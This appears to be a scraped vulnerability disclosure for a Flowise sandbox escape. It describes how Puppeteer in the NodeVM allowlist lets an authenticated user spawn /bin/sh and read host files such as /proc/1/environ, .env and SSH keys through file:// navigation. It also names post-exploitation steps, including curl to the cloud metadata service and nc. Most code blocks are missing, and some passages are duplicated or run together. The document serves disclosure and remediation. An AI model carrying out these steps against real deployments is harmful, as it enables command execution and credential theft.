echo "$PROOF_CONTENT" | grep -qE "uid=|CHAIN_OK" && \
ok "FULL CHAIN CONFIRMED - sandbox escape + RCE + file read" || \
err "Chain did not confirm"
We introduced more granular controls to allow users to enable ALLOW_BUILTIN_DEP, but still disable Playwright (and other built-in dependencies) for an improved security posture.
Additional Comments -
The command-execution path in this report-where untrusted NodeVM code supplies Puppeteer/Playwright with an attacker-
controlled executablePath, args, and ignoreDefaultArgs, which ultimately reach child_process.spawn()-overlaps CVE-2025-
34267, and I am not requesting a second identifier for that behavior. The independently exploitable vulnerability for which I am
requesting separate assessment is the local-file disclosure path created when Flowise’s executeJavaScriptCode() exposes the
unrestricted Puppeteer module through NodeVM’s require.external.modules: untrusted code launches the intended Chromium
executable, creates a normal page, supplies an attacker-selected file:// URL to page.goto(), and retrieves the rendered
contents through page.evaluate(() => document.body.innerText), after which Flowise returns that value in the API response. In the
inspected Puppeteer implementation, Frame.goto(url) forwards the supplied URL to the Chrome DevTools Protocol through
Page.navigate({url, ...}) without enforcing an HTTP/HTTPS-only scheme policy; consequently, Chromium’s local-file loader accesses
the selected file with the Flowise process’s filesystem permissions.
This disclosure does not require substituting /bin/sh, nc,
or any other non-browser executable, does not require supplying a shell command, and does not depend upon successful exploitation
of CVE-2025-34267. The --no-sandbox flag used in the official root-running Docker reproduction is solely an operational
requirement for starting the intended Chromium binary and is not the file-read primitive.
The two vulnerabilities terminate at
different security sinks and are independently fixable: fixing CVE-2025-34267 by forcing a trusted Chromium executable and
internally controlled launch arguments would prevent attacker-controlled process creation while still leaving unrestricted file:
navigation available, whereas preventing local-file disclosure by rejecting local-resource schemes across all page, target, and
raw-CDP navigation surfaces-or by filesystem-isolating Chromium-would block file access while leaving attacker-controlled
executablePath command execution possible if that launch interface remained exposed. The Puppeteer allowlist entry is therefore a
shared reachability condition rather than evidence that the two security failures are fully interdependent; removing Puppeteer/
Playwright from the allowlist is a broad containment patch that happens to close both paths at their common entry point, but a
single broad patch can remediate multiple independently fixable vulnerabilities. CVE-2025-34267 concerns command execution and CWE-
77, while this path is independently exploitable host-file information disclosure and should be assessed under CWE-200 pursuant to
CNA Rule 4.2.11 concerning independently fixable vulnerabilities.
Summary
An authenticated Flowise user with access to the
/api/v1/node-custom-functionendpoint can escape Flowise's vm2 /@flowiseai/nodevmJavaScript sandbox and execute arbitrary OS commands as the Flowise process user -rootin the officialflowiseai/flowise:*Docker image.The root cause is the architectural decision in
packages/components/src/utils.tsto include'puppeteer'(and'playwright') in theavailableDependenciesallowlist that the NodeVM exposes to user-supplied JavaScript code. Puppeteer's publiclaunch()API accepts caller-controlledexecutablePathandargsvalues, and internally invokeschild_process.spawn(executablePath, args)- outside the vm2 sandbox boundary, since the spawn happens inside puppeteer's host-context code rather than in sandboxed JS. The sandbox successfully blocks a directrequire('child_process'); it cannot prevent a tunneled spawn through puppeteer's legitimate API surface.In
flowise-components@3.0.8a runtime gate was added (process.env.ALLOW_BUILTIN_DEP === 'true') that, by default, hides the broad allowlist from the sandbox. This is an effective mitigation for default>=3.0.8installs, but:2.0.0→3.0.7(32 published versions, ~2 years of releases) ship with no gate; the chain fires from any authenticated session.3.0.8→3.1.2(9 published versions), operators who enableALLOW_BUILTIN_DEP=truefor legitimate reasons (custom flows that need puppeteer/playwright/other allowlisted modules) re-expose the same primitive with no security warning in upstream documentation.availableDependencies) is still present in every published version up to and including current HEAD.The same allowlist exposure additionally permits arbitrary file read on the host via a secondary use of puppeteer (
headless: 'new',page.goto('file://<path>'),document.body.innerTextextraction). The file-read primitive is functionally equivalent to havingfs.readFileSyncinside the sandbox.Empirically confirmed on the official
flowiseai/flowise:3.0.5Docker image (digestsha256:05ca5d644efb37fb68d4c9c9e84c7060a965a71b8ae9fb04fb030a0acf930633) running on an authorized lab host. A successful single-shot run obtained the following from inside the sandbox:The full reproducer is provided at near the end of this document.
Affected product
flowise-components(the vulnerable allowlist + sandbox construction lives indist/src/utils.js).flowise(depends onflowise-componentsand exposes the API endpoint that drives it).npm install -g flowise@<version>, the officialflowiseai/flowise:<version>Docker image, and the git-cloned source build (pnpm install && pnpm build && pnpm start).Affected versions - source-inspected, version by version
Each tarball below was downloaded from the public npm registry and inspected directly; the table reflects what's actually shipped, not what's in the upstream HEAD source.
ALLOW_BUILTIN_DEPgate present?'puppeteer'inavailableDependencies?2.0.0–2.0.72.1.0–2.1.52.2.0–2.2.83.0.0–3.0.73.0.8–3.0.13ALLOW_BUILTIN_DEP=true3.1.0–3.1.2ALLOW_BUILTIN_DEP=trueThe full classification table is available at
evidence/version-classification.csvin this package.Vulnerability details - where the bug lives
1. The allowlist -
availableDependenciesFile:
packages/components/src/utils.ts(compiled tonode_modules/flowise-components/dist/src/utils.jsin distributed installs).The
availableDependenciesarray declares ~50 npm packages as permitted externalrequire()targets for sandboxed user code. Two of these -'puppeteer'and'playwright'- both internally callchild_process.spawn(<caller-controlled path>, <caller-controlled args>)through theirlaunch()APIs:2. The sandbox construction -
executeJavaScriptCodeThe function that runs user-supplied JavaScript for custom-tool / custom-function nodes constructs a
NodeVMwith these dependencies wired intorequire.external.modules:The intent of the design is clearly defensive -
eval: false,wasm: false, secure wrappers foraxiosandnode-fetch, nochild_processinbuiltin,transitive: falseon external modules, the post-3.0.8 gate. The escape route the design overlooks is that puppeteer is itself a wrapper aroundchild_process.spawn, and its publiclaunch()API forwards caller-controlled values directly to that spawn call without validation.3. The gate added in 3.0.8 (and the legitimate-use loophole)
The line:
is the runtime gate. The
defaultAllowExternalDependenciesconstant in the same file is the small list used when the gate is closed:Pre-3.0.8 the ternary did not exist; the broad allowlist was always combined into
deps. Post-3.0.8 the broad allowlist is only added if the operator has explicitly setALLOW_BUILTIN_DEP=truein the Flowise process environment.ALLOW_BUILTIN_DEP=trueis the documented way operators exposeavailableDependenciesto custom-function code. The use cases are legitimate - flows that scrape web pages (puppeteer/playwright), use crypto primitives that aren't in the small default list, etc. There is no security warning in the upstream Flowise documentation that setting this env var also re-opens the sandbox-escape primitive.4. The attack - minimal JS payload
An authenticated attacker submits this JavaScript as a custom function body via
POST /api/v1/node-custom-function:Step-by-step:
module.require("puppeteer")because'puppeteer'is inavailableDependencies(and the gate, if present, has been opened by the operator's env var).puppeteer.launch({...}). Inside puppeteer'slaunch()(in puppeteer's host-context code, not the sandboxed JS), the launcher readsoptions.executablePathdirectly and passes it tochild_process.spawn(executablePath, args).child_process.spawn('/bin/sh', ['-c', '<command>'])executes outside the vm2 sandbox - vm2 has no hook to inspect host-module behavior.flowiseai/flowise:*Docker images this isroot.The wrapper
ignoreDefaultArgs: trueis necessary to prevent puppeteer from appending Chrome-specific argv flags that would confuse/bin/sh. Puppeteer's subsequent "Could not find Chrome" error is caught and discarded by the attacker payload; the spawn has already happened.5. Secondary primitive - arbitrary file read via Chromium
Once
puppeteeris loadable, the attacker can launch the real Chromium binary and use itsfile://URL handling to read arbitrary host files:This is functionally equivalent to
fs.readFileSyncin the sandbox. The file-read primitive can target any file the Flowise process user can read -/proc/1/environ(container deployment env vars),/usr/src/packages/server/.env(Flowise app secrets),/root/.ssh/*(SSH keys; the Flowise Docker image runs as root), the Flowise SQLite database with stored user credentials, etc.Importantly, mitigations that lock down the process-spawn primitive (e.g., wrapping
executablePath) must also address the file-read primitive - they share the same root cause (puppeteer in the allowlist) but require different fixes (the file-read uses real Chromium and legitimate puppeteer APIs throughout).Attack vector and pre-conditions
Authentication
The attacker must be authenticated to Flowise. The
/api/v1/node-custom-functionendpoint requires a valid session JWT cookie issued by/api/v1/auth/login. Empirically verified.Authorization / role
Any authenticated user role suffices. No admin role is required to call
/api/v1/node-custom-function- it is a normal flow-execution endpoint reachable by any logged-in user.Pre-auth vector - ruled out empirically
The following pre-auth endpoints were probed during the disclosure preparation; all returned 401, 404, or
success:falsefor unauthenticated callers, and the database confirms no users were created by these probes:The
/api/v1/account/registerendpoint that creates the initial admin is gated to one organization per instance ({"statusCode":400,"success":false,"message":"You can only have one organization"}), so it cannot be reused to add additional users.Realistic attacker profile
Proof of concept
Minimal one-shot demonstration (the primitive itself)
Run as an authenticated user with a valid JWT cookie in
$COOKIES:Full automated Exploit PoC
A complete exploit PoCis provided at the end of this summary. It handles end-to-end: target fingerprinting via
/api/v1/version, gate-status classification, initial-admin provisioning, authentication, payload dispatch, file-read readback, and optional ad-hoc reads via a--also-readflag. It is reproduced verbatim below.Empirical reproduction transcript
Run against a fresh
flowiseai/flowise:3.0.5Docker container (image digestsha256:05ca5d644efb37fb68d4c9c9e84c7060a965a71b8ae9fb04fb030a0acf930633) on an authorized lab host:Contact for full transcript and proof artifacts.
Impact
Tier 1 -
flowise-components 2.0.0→3.0.7(unconditional)flowiseai/flowise:*Docker images this isrootinside the container. In npm/Docker-compose installs this is whichever user launchedflowise start(oftenrootin default setups, sometimes a dedicatedflowise/nodeuser in production deployments).--privileged,--pid=host, mounted Docker socket, or host-volume mounts - which is common for Flowise users who wire up local-file integrations or want flow logs persisted to the host./etc/passwd,/proc/1/environ(container deployment env vars - often containFLOWISE_SECRETKEY_OVERWRITE, DB connection strings, LLM provider API keys, OAuth client secrets),/usr/src/packages/server/.env(Flowise's own app secrets),/etc/shadowand SSH private keys when the process runs as root.curl http://169.254.169.254/...for IAM credentials on AWS / equivalent on GCP / Azure (subject to IMDSv1/v2 configuration).curl,wget,nc, language interpreters (Node, often Python) to reach internal services - databases the Flowise instance has access to, internal APIs, Kubernetes API server when deployed in-cluster.~/.flowise/database.sqliteholds user-stored API credentials for OpenAI / Anthropic / vector DBs / other third-party services - wired into customer flows and encrypted with a key co-resident in the deployment. The chain allows the encryption key to be read and the credentials decrypted in one go.This tier is the higher-severity, broader-impact case. It covers 32 published versions over approximately 2 years of releases.
Tier 2 -
flowise-components 3.0.8→3.1.2(conditional)Identical exploitation primitive and identical impact, but the chain only fires when
ALLOW_BUILTIN_DEP=trueis set in the Flowise process environment.ALLOW_BUILTIN_DEPis the documented mechanism operators use to exposeavailableDependenciesto custom-function code. Legitimate use cases that set it:puppeteerorplaywright(the most common reason)axios,moment,node-fetch)ALLOW_BUILTIN_DEPis currently not documented in Flowise's security documentation as a security-relevant setting. Operators who enable it for one of the use cases above have no warning that doing so re-opens the sandbox-escape primitive. Internal-product security reviews will not flag this configuration because the upstream docs don't.For default
>=3.0.8deployments where the env var is unset, the chain is not exploitable via this path -module.require('puppeteer')returns MODULE_NOT_FOUND inside the sandbox. Confirmed empirically.Tier 3 -
flowise-components < 2.0.0Not source-inspected as part of this disclosure. Older versions almost certainly contain the same pattern (predates the gate, predates the larger allowlist redesigns), but the verification table is scoped to
>= 2.0.0.CVSS 3.1 - vector, score, rationale
Tier 1 vector (pre-
3.0.8, default-installed)CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H- 9.6 Critical0.0.0.0or sit behind a reverse proxy that does.Tier 2 vector (
>=3.0.8withALLOW_BUILTIN_DEP=true)Same vector and same score:
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H- 9.6 Critical.CVSS 3.1 does not have a clean way to model "vulnerable conditional on operator configuration." The CVSS team's guidance is that configuration prerequisites are modeled as the deployed state of the system, not as additional attack-vector requirements: once an operator has set
ALLOW_BUILTIN_DEP=true, the system is in a vulnerable configuration, and the attack vector from that state is identical to Tier 1. We score Tier 2 the same as Tier 1 and document the configuration prerequisite separately in the advisory text.Tier 3 (
>=3.0.8default)Not exploitable via this chain. No CVSS score applicable. (However, see the "incomplete mitigation" discussion in the Mitigation section below - the vulnerable code path remains present and one env-var change away from exploitable.)
Why not "S:U"?
The boundary being crossed is the vm2 NodeVM sandbox-vs-host-process boundary. vm2's security claim is exactly that sandboxed code cannot execute in the host. The chain demonstrably violates that - sandboxed code causes
child_process.spawnin the host, which is the canonical S:C case (security authority changes from sandbox runtime to host process).S:Uwould be incorrect.Why "PR:L" rather than "PR:N"?
Pre-auth was ruled out empirically - see the Attack vector section. The chain requires a valid JWT, which requires an authenticated session, which requires either being the initial-admin user or having been invited.
Mitigation
Tier 1 (preferred, minimal-disruption fix)
Remove
'puppeteer'and'playwright'fromavailableDependenciesinpackages/components/src/utils.ts.Rationale:
availableDependenciestherefore does not break any documented Flowise node.TOOL_FUNCTION_EXTERNAL_DEPenv var, with documentation explicitly stating that doing so re-opens the sandbox-escape primitive.Diff sketch (subject to upstream review):
exports.availableDependencies = [ /* ~50 modules ... */ - 'puppeteer', - 'playwright', /* ... */ ];Tier 2 (defense in depth, retain in-sandbox puppeteer)
Wrap
puppeteer.launch(andplaywright.<browser>.launch) with secure mocks that strip the attacker-controllable knobs, using the samemockpattern already used foraxiosandnode-fetch:Same approach handles the file-read primitive - once
executablePathandargsare stripped, attacker control over both spawn arguments is gone, but legitimate web-scraping use cases still work (default Chromium launch with default args).Caveat: this addresses the process-spawn primitive but not the arbitrary-file-read primitive via
page.goto('file://...'). A complete defense-in-depth would also interceptpage.gotocalls in the wrapper to blockfile://URL schemes:// Wrap newPage() so the returned page rejects file:// navigations…which is more invasive. Tier 1 (remove from allowlist) sidesteps both primitives in one stroke.
Tier 3 (documentation / operator-side hardening)
If the project elects to keep
availableDependenciesas-is and rely on theALLOW_BUILTIN_DEPgate, the security documentation should explicitly state:Appendix A - Full Exploit-PoC (verbatim)
The script below is the lab-verified exploit-PoC used to generate the empirical evidence cited in this advisory. Provided so that the maintainer can reproduce end-to-end against a freshly-pulled
flowiseai/flowise:3.0.5(or any other affected version) without re-deriving the API call sequence.How this is different from CVE-2025-34267
We introduced more granular controls to allow users to enable ALLOW_BUILTIN_DEP, but still disable Playwright (and other built-in dependencies) for an improved security posture.
Additional Comments -
The command-execution path in this report-where untrusted NodeVM code supplies Puppeteer/Playwright with an attacker-
controlled
executablePath,args, andignoreDefaultArgs, which ultimately reachchild_process.spawn()-overlaps CVE-2025-34267, and I am not requesting a second identifier for that behavior. The independently exploitable vulnerability for which I am
requesting separate assessment is the local-file disclosure path created when Flowise’s
executeJavaScriptCode()exposes theunrestricted Puppeteer module through NodeVM’s
require.external.modules: untrusted code launches the intended Chromiumexecutable, creates a normal page, supplies an attacker-selected
file://URL topage.goto(), and retrieves the renderedcontents through
page.evaluate(() => document.body.innerText), after which Flowise returns that value in the API response. In theinspected Puppeteer implementation,
Frame.goto(url)forwards the supplied URL to the Chrome DevTools Protocol throughPage.navigate({url, ...})without enforcing an HTTP/HTTPS-only scheme policy; consequently, Chromium’s local-file loader accessesthe selected file with the Flowise process’s filesystem permissions.
This disclosure does not require substituting
/bin/sh,nc,or any other non-browser executable, does not require supplying a shell command, and does not depend upon successful exploitation
of CVE-2025-34267. The
--no-sandboxflag used in the official root-running Docker reproduction is solely an operationalrequirement for starting the intended Chromium binary and is not the file-read primitive.
The two vulnerabilities terminate at
different security sinks and are independently fixable: fixing CVE-2025-34267 by forcing a trusted Chromium executable and
internally controlled launch arguments would prevent attacker-controlled process creation while still leaving unrestricted
file:navigation available, whereas preventing local-file disclosure by rejecting local-resource schemes across all page, target, and
raw-CDP navigation surfaces-or by filesystem-isolating Chromium-would block file access while leaving attacker-controlled
executablePathcommand execution possible if that launch interface remained exposed. The Puppeteer allowlist entry is therefore ashared reachability condition rather than evidence that the two security failures are fully interdependent; removing Puppeteer/
Playwright from the allowlist is a broad containment patch that happens to close both paths at their common entry point, but a
single broad patch can remediate multiple independently fixable vulnerabilities. CVE-2025-34267 concerns command execution and CWE-
77, while this path is independently exploitable host-file information disclosure and should be assessed under CWE-200 pursuant to
CNA Rule 4.2.11 concerning independently fixable vulnerabilities.